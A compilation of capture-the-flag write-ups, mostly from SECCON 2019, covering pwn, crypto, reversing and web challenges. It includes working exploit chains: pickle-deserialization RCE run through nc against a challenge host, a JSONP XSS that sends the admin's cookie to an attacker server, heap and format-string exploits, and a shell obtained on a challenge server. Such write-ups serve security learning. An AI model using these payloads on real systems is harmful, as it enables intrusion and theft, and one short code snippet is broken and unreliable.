When we run it:```$ python exploit.py[+] Opening connection to sum.chal.seccon.jp on port 10001: Done[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/home/guyinatuxedo/Desktop/seccon/sum/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
base is: 0x7f796623c000[*] Switching to interactive mode[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 0$ w 20:42:25 up 18:10, 0 users, load average: 0.02, 0.01, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT$ lsbinbootdevetcflag.txthomeliblib64mediamntoptprocrootrunsbinsrvstart.shsumsystmpusrvar$ cat flag.txtSECCON{ret_call_call_ret??_ret_ret_ret........shell!}$ ```
Just like that, we pwned the challenge! |
```import sysfrom Crypto.Cipher import AESimport base64
def dec(cip, key): plain="" for i in range(len(cip)): space = 0x20 val = 0x7e - 0x20 + 1 val2 = ord(key[i % len(key)]) plain+=chr((((ord(cip[i]) - space) - (val2 - space)) % val) + space) return plain key1 = "SECCON"key2 = "seccon2019"cipher = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905"
plain_1 = base64.b64decode(cipher)cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
p = 16 - (len(plai_1) % 16)plain_2 = cipher.decrypt(plain_1+ chr(p) * p)
print(plain_1=dec(plain2,key1))``` |
# random\_pitfalls
We are given a program and its source code, let's see...
## The Server
Ok, so what [server.c](./server.c) does is simple, more or less:
1. Create a buffer and fills it with zeros2. Maps 64 contiguous pages as `PROT_NONE`3. Takes one of them and maps it `PROT_READ | PROT_WRITE`4. Fills it with random data5. Xor `buffer` with the current page6. Repeat from 3. a bunch of times7. Read the flag in one of the remaining pages8. Xor the flag page with `buffer`
(This is a simplified version of the thing)
Then it reads our 4096 bytes of shellcode and jump into them, but it does soafter a seccomp filter that only allows `write`s from `buffer` to `stdout` and`exit`.Since the authors are nice, they also make sure to clear every register(including the stack pointer).
## The Plan
What we want to achieve is pretty straightforward: we need to XOR together allthe valid pages so as to get the original flag back(remember that `a ^ b ^ b = a`).
There's a catch though: how do we read all the valid pages avoiding the`PROT_NONE` ones?If we try to read from those, we die.
The server prints to us the flags from `/proc/cpuinfo` and that's probably anhint.I was thinking some crazy stuff like cache-based side-channels, but a teammatesuggested I take a look at Intel's[Transactional Synchronization Extensions](https://en.wikipedia.org/wiki/Transactional_Synchronization_Extensions)and that's what I did.
TSX is an hardware extension that enables transactional memory on x86.What this means, is that you can write a bunch of memory locations and besure that either all of them were written or none of them.TSX has also another nice feature: it allows the programmer to handle the errorsoccurred during the transactions.
See the problem? We can start a transaction, read from one of the pages, andcatch the likely page fault from our own code without crashing the server :)
### The Shellcode
The complete shellcode is in [shell.asm](./shell.asm), but the basic idea isthis:
```pythondef shellcode(mem, buffer): for page in mem: # begin transaction xbegin() # xor the page with the output buffer buffer ^= page # end the transaction xend() write(stdout, buffer)```
## The Win
```sh$ nasm -o shell.bin -f bin ./shell.asm && ./x.pyflags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology cpuid aperfmperf pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx xsaveopt
SECCON{7h1S_ch4L_Is_in5p1r3d_by_sgx-rop}```
*babush*
P.S.: Sometimes the server returns random data. I haven't had the time to investigate why that's the case. Still, got the flag right? :)
|
An easy but very unique challenge.
You are allowed to sum 5 numbers together. There is an off by one error when inputting the 5 numbers, which lets you actually input 6 numbers.
The 6th number overwrites the pointer to the `total` variable, which lets you write the sum total of the 6 numbers as a value to whatever memory location you want.
Steps to exploitation:1. Overwrite `exit_got` to a `pop rdi; ret` gadget2. ROP chain to leak a libc address using `puts`3. ROP chain to call `system('/bin/sh')`
Detailed writeup at the link |
# follow-me
The challenge gives you the trace of the binary when given a particular input.Our task is to recover the input.
## The Binary
```sh$ ./calc_8e4bdd821b86bebbfa6c5191bfddd40dbb120916usage: ./calc_8e4bdd821b86bebbfa6c5191bfddd40dbb120916 formula$ ./calc_8e4bdd821b86bebbfa6c5191bfddd40dbb120916 1+1error: stack is empty$ ./calc_8e4bdd821b86bebbfa6c5191bfddd40dbb120916 1,1,+2```
Ok so this looks like a stack-based calculator.Let's crack it open in IDA:
```c__int64 __fastcall calc(char *a1){ __int64 v1; // ST30_8 __int64 v2; // rax signed __int64 v3; // rax __int64 v4; // ST30_8 __int64 v5; // rax __int64 v6; // rax signed __int64 v7; // ST30_8 __int64 v8; // rax __int64 v9; // rax __int64 v10; // ST30_8 __int64 v11; // rax __int64 v12; // rax __int64 v13; // ST30_8 __int64 v14; // rax __int64 v15; // rax signed __int64 v16; // ST30_8 signed __int64 v17; // rax __int64 v18; // rax char *curr_char; // [rsp+8h] [rbp-38h] char v21; // [rsp+1Bh] [rbp-25h] signed int v22; // [rsp+1Ch] [rbp-24h] signed __int64 acc; // [rsp+20h] [rbp-20h] _QWORD *stack; // [rsp+38h] [rbp-8h]
curr_char = a1; acc = 0LL; stack = malloc(8uLL); stack[1] = calloc(8uLL, 0x3E8uLL); *(_DWORD *)stack = 1000; *((_DWORD *)stack + 1) = 0; v22 = 0; while ( *curr_char ) { v21 = *curr_char; if ( *curr_char == ',' ) { if ( v22 == 1 ) { push(stack, acc); acc = 0LL; } v22 = 0; } else if ( v21 <= '/' || v21 > '9' ) { switch ( v21 ) { case '+': v1 = pop(stack); v2 = pop(stack); v3 = add(v2, v1); push(stack, v3); v22 = 2; break; case '-': v4 = pop(stack); v5 = pop(stack); v6 = sub(v5, v4); push(stack, v6); v22 = 2; break; case '*': v7 = pop(stack); v8 = pop(stack); v9 = mul(v8, v7); push(stack, v9); v22 = 2; break; case 'm': v10 = pop(stack); v11 = pop(stack); v12 = min(v11, v10); push(stack, v12); v22 = 2; break; case 'M': v13 = pop(stack); v14 = pop(stack); v15 = max(v14, v13); push(stack, v15); v22 = 2; break; default: if ( v21 != 'C' ) { printf("error: unhandled char '%c'\n", (unsigned int)v21); exit(1); } v16 = pop(stack); v17 = pop(stack); v18 = ccc(v17, v16); push(stack, v18); v22 = 2; break; } } else { acc = 10 * acc + v21 - '0'; v22 = 1; } ++curr_char; } return pop(stack);}```
The binary is quite simple.
## The Formula
At this point, I see some reversing options:
1. Recovering the input manually (boooooring...)2. Fuzzing with custom tracer3. Tracing + genetic algorithm
We go with option 2. Specifically, we extract the formula with a simple scriptand then recover the correct digits with a genetic algorithms.
## The Scripts
### formula.py
[formula.py](./formula.py) opens the trace file and does two things.First of all, it outputs a rebased trace so we can more easily use itafterwards.Then it also outputs a formula template like `XXX,XXX,+` by manually matchingthe branches in the binary with their meaning.
```sh$ python3 ./formula.pyXXX,XXX,XXX,XXX,XXX,XXXX,XXX,mm-mM-XXX,XXX,XXX,mm-XXX,XXX,XXX,XXX,XXX,-+-M+XXX,XXX,XXX,mm*```
### tracer.py
[tracer.py](./tracer.py) is a [QBDI](https://qbdi.quarkslab.com/) tool thattraces the binary and matches the instruction addresses against the challengetrace.Its function is to output a score/fitness value for a given input.This is going to be used by the solver in the final step.
```sh$ LD_PRELOAD=/usr/lib/libpyqbdi.so PYQBDI_TOOL=./tracer.py ./calc_8e4bdd821b86bebbfa6c5191bfddd40dbb120916 1,1,+2OUT 566```
`OUT 566` is the output score we calculated.
### solver.py
[solver.py](./solver.py) takes everything we have done so far and puts ittogether automagically.It is a simple genetic algorithm that takes the formula, guesses the digits andgets the score from running [tracer.py](./tracer.py).Eventually it should guess a valid formula (that's right, there is more thanone correct formula!).
```sh$ python3 ./solver.py1000000 000,000,000,000,000,0000,000,mm-mM-000,000,000,mm-000,000,000,000,000,-+-M+000,002,000,mm*151 000,000,000,000,000,0000,800,mm-mM-000,000,000,mm-000,300,000,046,000,-+-M+000,002,000,mm*148 000,000,010,005,000,0030,800,mm-mM-000,005,000,mm-050,300,900,046,003,-+-M+006,002,000,mm*116 000,800,010,005,000,0030,805,mm-mM-000,005,000,mm-057,800,900,046,003,-+-M+806,002,000,mm*109 009,800,010,005,200,0030,805,mm-mM-000,005,300,mm-858,800,900,046,003,-+-M+806,002,000,mm*12 009,500,010,005,200,0630,805,mm-mM-000,005,300,mm-858,800,900,006,003,-+-M+806,007,050,mm*4 008,500,010,005,209,0600,805,mm-mM-000,005,360,mm-858,800,900,006,003,-+-M+806,007,050,mm*3 008,500,310,035,209,5600,804,mm-mM-000,005,360,mm-858,800,900,006,003,-+-M+806,001,050,mm*```
## The Win
```sh$ curl -q -H 'Content-Type:application/json' -d "{\"input\": \"008,500,310,035,209,5600,804,mm-mM-000,005,360,mm-858,800,900,006,003,-+-M+806,001,050,mm*\"}" http://follow-me.chal.seccon.jp/submit/quals/0{"error":false,"flag":"SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}","message":"Thanks! I'll give you a flag as a thank you."}```
Cheers :)
|
# COFFEE_BREAK### #crypto #reversing
간단히 풀 수 있었던 크립토(?) 라기엔 리버싱에 가까운 문제였다.
```The program "encrypt.py" gets one string argument and outputs ciphertext.
Example:
$ python encrypt.py "test_text"gYYpbhlXwuM59PtV1qctnQ==The following text is ciphertext with "encrypt.py".
FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905```문제 설명은 맨 아래의 어떤 문자열은 encrypt.py 에 의해 암호화 되었으니 복호화 하라는 것 같다.
---
```python#encrypt.py
import sysfrom Crypto.Cipher import AESimport base64
def encrypt(key, text): s = '' for i in range(len(text)): s += chr( ( ((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) return s
key1 = "SECCON"key2 = "seccon2019"text = sys.argv[1]
enc1 = encrypt(key1, text)key=key2 + chr(0x00) * (16 - (len(key2) % 16))cipher = AES.new(key, AES.MODE_ECB)# where is iv?p = 16 - (len(enc1) % 16)enc2 = cipher.encrypt(enc1 + chr(p) * p)print(base64.b64encode(enc2).decode('ascii'))
```
처음에 encrypt.py 라는 파일을 하나 준다.

실행시켜보니 인자로 어떤 문자열을 주면 소스의 암호화 과정을 거친 결과를출력시켜준다.
소스의 순서는 이렇다.
```제작자의 임의의 암호화 -> 변수 p를 이용한 AES 암호화 -> base64인코딩```
그러면 base64와 AES는 거꾸로 복호화만 해주면 되고, 우리가 그나마 눈여겨 봐야할 것은 제작자가 임의로 만든 암호화 함수이다.
이 또한 결국엔 거꾸로 역연산 하면 된다.
```python# decrypt.py
import sysfrom Crypto.Cipher import AESimport base64prob='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'key1="SECCON"key2="seccon2019"key=key2+chr(0x00)*(16-(len(key2)%16))cipher=AES.new(key,AES.MODE_ECB)
enc2=base64.b64decode(prob.encode('cp949'))# to unicodebefore_enc2=cipher.decrypt(enc2)print(before_enc2)# this is equal to enc1+chr(p)*p# p=0x05#print("________ we get 'p' = 0x05 ________")enc1="'jff~|Ox9'34G9#g52F?489>B%|)173~)%8.'jff~|Q"#print(enc1)flag=''for i in range(len(enc1)): tmp=chr((((ord(enc1[i])-0x20)+(0x7e-0x20+1))-(ord(key1[i%6])-0x20))+0x20) if(ord(tmp)>127): flag+=chr(ord(tmp)-95) else: flag+=tmpprint(flag)```
---아래는 결과이다.

. . .
**Contact : [email protected]** |
We're given an iPhone app which implements a simple calculator, and the ability to send a URL to a real physical iPhone with the app installed.
**Full Writeup:** [https://github.com/pwning/public-writeup/blob/master/rwctf2019/pwn_dezhou](https://github.com/pwning/public-writeup/blob/master/rwctf2019/pwn_dezhou) |
tl;dr:1. Notice that assignment to integer typed variable performs arithmetic evaluation2. Notice that array index calculation has full-eval power3. Place payload as index of an array to gain RCE
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-10-19-seccon/multiplicate |
# ZKPay (crypto?/web, 308p, 51 solved)
This turned out to be a rather confusing challenge.We suspect that no-one actually solved it `the intended way`, which, we guess, involved some Zero-Knowledge Proofs.
In the task we can register on a webpage for money transfers.We get initial transfer of 500 from the admin, and we need 1000000 to get the flag.First obvious idea would be to simply register 20k accounts and transfer all the money to a single one, and judging by some organizers announcements, some teams tried that...
We guess that intended solution required figuring out how the signature for the transfer is generated, and forge a fake transfer of 1000000 from the admin.
However, the application had a major flaw with signed-unsigned comparison.When doing a transfer the application did check if our account balance is `>=` of the value we want to send to someone.But those values were signed!It means we could simply transfer negative values and, of course, `500 > -1000000`, and the system would `deduct` this amount from our account via `500 - (-1000000)` effectively granting the money to us.
This way we get `SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}` |
過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。
中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。
ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。
ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。1 153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid |
# pyshv1 (572)
The challenge contains two modules:
```python# File: securePickle.py
import pickle, io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globalsclass RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(') return pickle.Unpickler.find_class(self, module, name)
def loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps```
```python# File: server.py
import securePickle as pickleimport codecs
pickle.whitelist.append('sys')
class Pysh(object): def __init__(self): self.login() self.cmds = {}
def login(self): user = input().encode('ascii') user = codecs.decode(user, 'base64') user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ")
def run(self): while True: req = input('$ ') func = self.cmds.get(req, None) if func is None: print('pysh: ' + req + ': command not found') else: func()
if __name__ == '__main__': pysh = Pysh() pysh.run()```
We can provide a pickled string, and the unpickling is restricted to objects in the `sys` module. I restrained from writing pickle bytecode by hand and used only the `__reduce__` API. The only small hack is to create arbitrary named attributes to be pickled, for example `sys.__dict__`. I wrote this snippet to help with it:
```pythonimport pickle, sys
class FakeMod(type(sys)): modules = {}
def __init__(self, name): self.d = {} super().__init__(name)
def __getattribute__(self, name): d = self() return d[name]
def __call__(self): return object.__getattribute__(self, "d")
def attr(s): mod, name = s.split(".") if mod not in FakeMod.modules: FakeMod.modules[mod] = FakeMod(mod) d = FakeMod.modules[mod]() if name not in d: def f(): pass f.__module__ = mod f.__qualname__ = name f.__name__ = name d[name] = f return d[name]
def dumps(obj): # use python version of dumps # which is easier to hack pickle.dumps = pickle._dumps orig = sys.modules sys.modules = FakeMod.modules s = pickle.dumps(obj) sys.modules = orig return s
a = attr("sys.__dict__")print(dumps(a))# b'\x80\x03csys\n__dict__\nq\x00.'```
Pickle uses `__reduce__` method of objects with a special interface. It allows to call a function (which has to be picklable, i.e. be the part of the module) with arbitrary (picklable) arguments. Finally, it allows to update the `__dict__` of the output of the function, `.append()` objects to it and set items on it. The following snippet simplifies this API into a single function call:
```pythondef craft(func, *args, dict=None, list=None, items=None): class X: def __reduce__(self): tup = func, tuple(args) if dict or list or items: tup += dict, list, items return tup return X()```Now we can, for example, easily dump `sys.__dict__` from the server:
```pythonobj = craft(attr("sys.displayhook"), attr("sys.__dict__"))```
```{'__name__': 'sys', '__doc__': ..., 'argv': ['/home/pyshv1/task/server.py']}```
## pyshv1 solutionLet's look at the `Unpickler.find_class` method:```pythondef find_class(self, module, name): ... __import__(module, level=0) if self.proto >= 4: return _getattribute(sys.modules[module], name)[0] else: return getattr(sys.modules[module], name)```
So, pickle relies on the `sys.modules` mapping! Let us replace this attribute with our own dict so that we can access attributes of objects other than the actual sys module. In particular, we want to access modules in the mapping, so we elegantly set `sys.modules[sys] = sys.modules`:
```pythonc1 = craft( attr("sys.__setattr__"), "modules", {"sys": sysattr("modules")})```
We can now update module dicts using the `__reduce__` dict API, in particular the whitelist:```pythonc2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})```
Now we can actually call e.g. the `os.system`:```pythonc3 = craft(attr("os.system"), "id; cat ../flag.txt")```
Assembling the full chain:```pythonc1 = craft( attr("sys.__setattr__"), "modules", {"sys": sysattr("modules")})c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})c3 = craft(attr("os.system"), "id; cat ../flag.txt")obj = craft(attr("sys.displayhook"), (c1, c2, c3))
s = dumps(obj)s = codecs.encode(s, "base64").replace(b"\n", b"")open("inp", "wb").write(s)os.system("(cat inp; echo) | nc -v pysh1.balsnctf.com 5421")```
```uid=1000(pyshv1) gid=1000(pyshv1) groups=1000(pyshv1)Balsn{p1Ck1iNg_s0m3_PiCklEs}```
# pyshv2 (857)In the second challenge the restricted pickle is a bit different. Not it calls the `__import__` function:```python class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(') module = __import__(module) return getattr(module, name)```
Second, only an *empty* module `structs` is added to the whitelist (*how this can be insecure???*):```pythonpickle.whitelist.append('structs')```
The rest is basically the same. In this challenge we have much less tools compared to the rich `sys` module. However, there is `structs.__builtins__` which is the same global `__builtins__` module. In particular, the change from **pyshv1** is the use of the `__import__` function, which we can replace in `__builtins__`. The idea is somewhat similar to the one with `sys.modules`: the goal is to access attributes of objects other than the original module. For achieving this, we replace `__import__` with `structs.__getatttribute__`. As a result, `__import__("structs").attr` becomes `structs.structs.attr`. We set the `structs.structs` to `structs.__dict__`: this allows us to call dict methods:```pyc1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))c2 = craft( attr("structs.__getattribute__"), "__builtins__", items=[("__import__", attr("structs.__getattribute__"))])```Let's populate the dict with builtins:```pybs = craft(attr("structs.get"), "__builtins__")c3 = craft(attr("structs.update"), bs)```
We can now replace `structs.structs` to the eval function:```pyev = craft(attr("structs.get"), "eval")c4 = craft(attr("structs.__setitem__"), "structs", ev)```
Finally, we call eval and assemble the whole chain:```pyc1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))c2 = craft( attr("structs.__getattribute__"), "__builtins__", items=[("__import__", attr("structs.__getattribute__"))])bs = craft(attr("structs.get"), "__builtins__")c3 = craft(attr("structs.update"), bs)ev = craft(attr("structs.get"), "eval")c4 = craft(attr("structs.__setitem__"), "structs", ev)c5 = craft(attr("structs.__call__"), r'print(open("../flag.txt").read())')
obj = craft(attr("structs.__setattr__"), "code", [c1, c2, c3, c4, c5])s = dumps(obj)s = codecs.encode(s, "base64").replace(b"\n", b"")open("inp", "wb").write(s)os.system("(cat inp; echo) | nc -v pysh2.balsnctf.com 5422")```
```Balsn{CD_sP33duP_eVe3y7h1nG__Wh0_c4r3s_Th3_c0dE?} |
HITCON CTF 2019 QUAL dadadb-
## Description
### Environment
+ Windows x64 on windows sever 2019 + Similar to Windows 10 (1809)+ DEP+ ASLR+ CFG+ Disallow Child Process + You can not create new process.+ Private Heap + Independent memoy pool ### Note + It a windows heap challenge + If you are unfamiliar at windows heap, you can reference my slide + [English](https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-english-version) + [Chinese](https://slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-chinese-version)
+ The following command in Windbg will be very helpful + `!heap` + `!heap -a [heap address]` + `dt _HEAP [heap address]` + `dt _HEAP_LIST_LOOKUP [address]` + `dt _LFH_HEAP` + More Windbg usage + [`https://github.com/hugsy/defcon_27_windbg_workshop`](https://github.com/hugsy/defcon_27_windbg_workshop)
### Program
+ A simlpe database + After login, you can add/view/remove data by key + Use array and linked list to store data
+ Structure + KEY_SIZE 0x40
 
+ Login Read user data from "user.txt". + ADD + Add data by key + It will search node in table. + If not found, it will create new node and insert node to the table + Insert into in front of linked list + If found it will reuse the node and allocate a new data buffer + VIEW + Read data by key + It will use key to search node in table + If found, it will write data to stdout + REMOVE + Delete data by key + It will use key to search node in table + If found, it will delete the node in table and linked + Logout
## Vulnerability
### Heap overflow+ When it reuse the node + It will use the size of old data buffer
when reading data to new buffer+ It will lead to heap overflow, when the
old size of data buffer larger than new
buffer

## Exploit
### Arbitrary memory readingBecause it use private heap, we can easy use heap overflow to overwrite data pointer to do arbitrary memory reading. But I will demonstrate in normal case (default heap)
+ In default heap case, it will use Heapallocate when program start. + There are many unstable hole in the heap.
+ It also used in many Windows API, so it hard to locate heap and heap layout + If we want to have a stable leakage, we can use LFH + There are less checks in LFH. + We can use it to prevent some heap detection. + I use the following diagram to show you how to do it + We can use node to fill UserBlock first 
+ Remove a node + That is, it will leave a hole in UserBlock 
+ Use data buffer to fill the hole
 + Now we can use vulnerability to leak something in next chunk. + Heap address + Key of next chunk + Assume key of next chunk is ddaa  + After leaking heap address, we can use heap overflow to overwrite next chunk with address we want to leak + By the way, Heap overflow will corrupt header of next chunk. + When we use add to update data, it will free original data. In back-end allocator it will encounter heap corruption detect if you do not forge header. + In LFH, it does not check ! That is, we can do arbitrary memory reading by key(ddaa)
+ After we can do arbitrary memory reading + We can get address of + ntdll (from _HEAP->lock) + PEB (from ntdll) + binary (from ntdll!PebLdr) + kernel32 (from IAT of binary) + TEB (from PEB) + Stack address (from TEB) + The location of return address (scan return address at stack)
### Arbitrary memory writing
+ Next step, we need to do arbitrary memory writing to overwrite return address with ROP+ Intended solution
Forge a fake chunk at bss to overwrite fp and then do arbitrary memory writing + In order to forge a fake chunk at bss to overwrite fp, we need to prepare some chunk in back-end allocator first. + I divide into five part 1. Prepare a chunk used to overwrite other chunk (chunk A) + We can choose a suitable chunk such that allocate in the largest free chunk
  + After we prepare some chunks, the heap layout will like the diagram + A can be used to overflow B + B, D are free chunk with same size + We can use A to leak Flink and Blink of B + That is, we can get address of B and D 2. Forge a legal chunk at password buffer so that we can use malloc to get the chunk. + At first, the layout will like the diagram. 
+ We can forge a legal chunk with same header of chunk B.  3. Prepare a free chunk to be overwrite with fake Flink & Blink. + Use chunk A to overwrite Flink and Blink of chunk B + You should make sure that double linked does not corrupted. + B will also be puted at ListHint[0x10] + We have already prepared every thing on heap

4. Get the fake chunk + We can use malloc to get our fake chunk after we forge the linked list.
  + By the way, it only check header and double linked list of chunk when it use malloc. + It does not check the header of next chunk + Sometimes it’s very useful 5. Forge `FILE` structure + We can forge the FILE structure follow by fp and overwrite fp with the fake FILE structure. + That is, we can use fread to do arbitrary memory writing !
 + If you does not understand FILE structure exploitation you can reference my slide + [Play with FILE structure](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) + [About FILE in challenge](dadadb.pdf) + From p42 to p53
### Control RIPAfter we have arbitrary memory writing we can overwrite return address on stack with ROP. But it disallow child process , you can not create new process.
+ We need use ROP to read flag.txt, but it’s a little complicated.+ So we use ROP to do VirtualProtect to change page permission so that we can jump to shellcode.
After we can run shellcode, we can read files more easily.
+ We use some function to read file + Kernel32 (because we only provide `kernel32.dll` and `ntdll.dll` for challenger) + `CreateFile`/`ReadFile`/`GetStdHandle`/`WriteFile`
+ If it use default heap + You should create new heap for windows API, otherwise you will encounter heap detection + Overwrite `_PEB->ProcessHeap`/`ucrtbase!crtheap`/`ntdll!ldrpheap` with new heap.
+ [exp.py](dadadb.py)
### Unintended SolutionForge a fake chunk on stack to overwrite return address
+ You need to leak more data + Cookie + RSP
### Note
Actually, the challenge originally designed on the default heap. So I enable LFH to defeat heap randomness and get a stable leak at first.
But a few days before HITCON CTF 2019 QUAL, I wanted more people to understand the heap mechanism and make it easier to solve. Moreover, I don’t want too much people to be stuck in randomness on default heap. So I change it to use private heap.It will be more stable.
Thank you for joining the HITCON CTF 2019 Qual. I hope everyone can learn more from our CTF. |
# Pwn - Monoid Operator
The binary we are given asks for an operator (add, multiply or xor), the numberof unsigned 64-bit integers and their values. It then applies the operator tothe integers, prints the result, and asks for more things to do. In case theaddition or the multiplication overflows, `Overflow is detected` message isprinted, and the loop continues. Finally, the code asks for a name and afeedback, and does `sprintf(&stack_buffer, feedback);`.
It is clear what to do at the end: once we know the libc address, we can computethe location of a [one_gadget](https://github.com/david942j/one_gadget) and thestack canary. Even though we are not allowed to have any [`n` letters](https://github.com/hellman/libformatstr) in feedback, `%s` is more than enoughto fill canary and return address stack slots.
But how to leak a libc address? There is a hint: the code checks the returnvalue of the first `scanf` (operator), but not the second (number of integers)and the third (values) ones'. So, it we input garbage instead of numbers, we cantrick the code into summing the uninitialized values returned by `malloc`. Thebest thing we can hope for is a free list containing the address of one of thebins, which resides inside libc (e.g. unsorted bin).
Unfortunately, the allocation pattern appears to be very limited: a sequence of`malloc` - `free` pairs. Because of this, we never end up having free listpointers inside our chunk.
However, there is a catch: `Overflow is detected` message is the only oneprinted to stderr, whose buffer is initialized lazily. So, if we trigger thismessage, we can diversify our allocation pattern just enough to get the covetedfree list pointers. A simple test shows that the following sequence:
```int main() { setlinebuf(stderr); long long *p = malloc(130 * 8); assert(p); fwrite("Overflow is detected.\n", 1uLL, 0x16uLL, stderr); free(p); p = malloc(130 * 8); assert(p);```
results in `p[0]` and `p[1]` being back and forward pointers to libc. So theexploitation plan is:
* Add 130 numbers: `0xffffffffffffffff`, `2` and 128 `0`s.* Add another 130 numbers: `0` and `x`. We will get the same chunk as the last time, but with back and forward pointers. `0` will clear the back pointer, and `x` will make sure that the rest of the buffer - which is a forward pointer and a bunch of zeroes from the last time, will stay intact. Wait, isn't that just two elements? Yes, but since `x` is not a number, it will be stuck in the `scanf` buffer and will therefore count as 129 "empty" numbers and the next operator, which will finally consume it.* The result of the second addition is thus a libc pointer, from which we can compute gadget and cookie pointers.* Send the carefully crafted format string as feedback and get the shell.
A few observations regarding forming the format string:
* We can set a breakpoint at the `sprintf` call and observe stack and register values. Many of them reliably end with `0x00`, which means we'll be able to use them as zero byte. `%8$c` serves this purpose very nicely.* We can use padding modifier to produce multiple characters at once, e.g. `%8$1032c` will produce 1031 spaces and a zero.* The cookie always starts with `\0`, so `%.8s` would copy just that. We need to first use `%8$c` to produce `\0` and then use `%.7s` on an incremented cookie address.* The gadget address always ends with `\0\0`, so a similar consideration applies.* The gadget might require a certain stack slot to be zero. More `%8$c`s to the rescue!
With that, we can get the flag:`SECCON{MATh3mat|c$_s0MEt1m3S_Dr!v3s_prOgRam_cra2y}`. |
# Reversing - PPKeyboard
We are given a Windows application and a `.pcapng` packet capture. Running theapplication under `wine` produces a warning about unimplemented `MIDI`functionality, after which the application exits. A quick look with IDA revealsthat the application insists on talking to a cool `DDJ-XP1` DJ pad, which issplit in two 16-button halves. `.pcapng` contains a bunch of USB packets flyingin both directions, which must be key presses.
Dumping it with `pyshark` reveals the following repeating pattern:
```1.7.4 -> host: 09:97:04:7fhost -> 1.7.4:1.7.4 -> host: 09:97:04:00host -> 1.7.4:1.7.4 -> host: 09:99:08:7fhost -> 1.7.4:1.7.4 -> host: 09:99:08:00host -> 1.7.4:```
`1.7.4 -> host` messages look like ACKs, let's get rid of them:
```1.7.4 -> host: 09:97:04:7f1.7.4 -> host: 09:97:04:001.7.4 -> host: 09:99:08:7f1.7.4 -> host: 09:99:08:00```
The messages ending with `:00` must be key releases, which leaves us with:
```1.7.4 -> host: 09:97:04:7f1.7.4 -> host: 09:99:08:7f```
The pattern always alternates between `97` and `99`, which most likely meansthat DJ was pressing first the button on the left half, and then the buttonon the right half. `04` and `08` must be button codes.
Frequency analysis (1-grams, 2-grams) does not produce any results, but themessage is fairly short, so it's probably okay. Key press durations are all overthe place, so this can't be Morse code.
One could notice though that 0x04 and 0x08 can be concatenated to 0x48, which isthe ASCII code for the letter 'H'. This way the entire message can bedeciphered:
```Hey guys! FLAG is SECCON{3n73r3d_fr0m_7h3_p3rf0rm4nc3_p4d_k3yb04rd}```
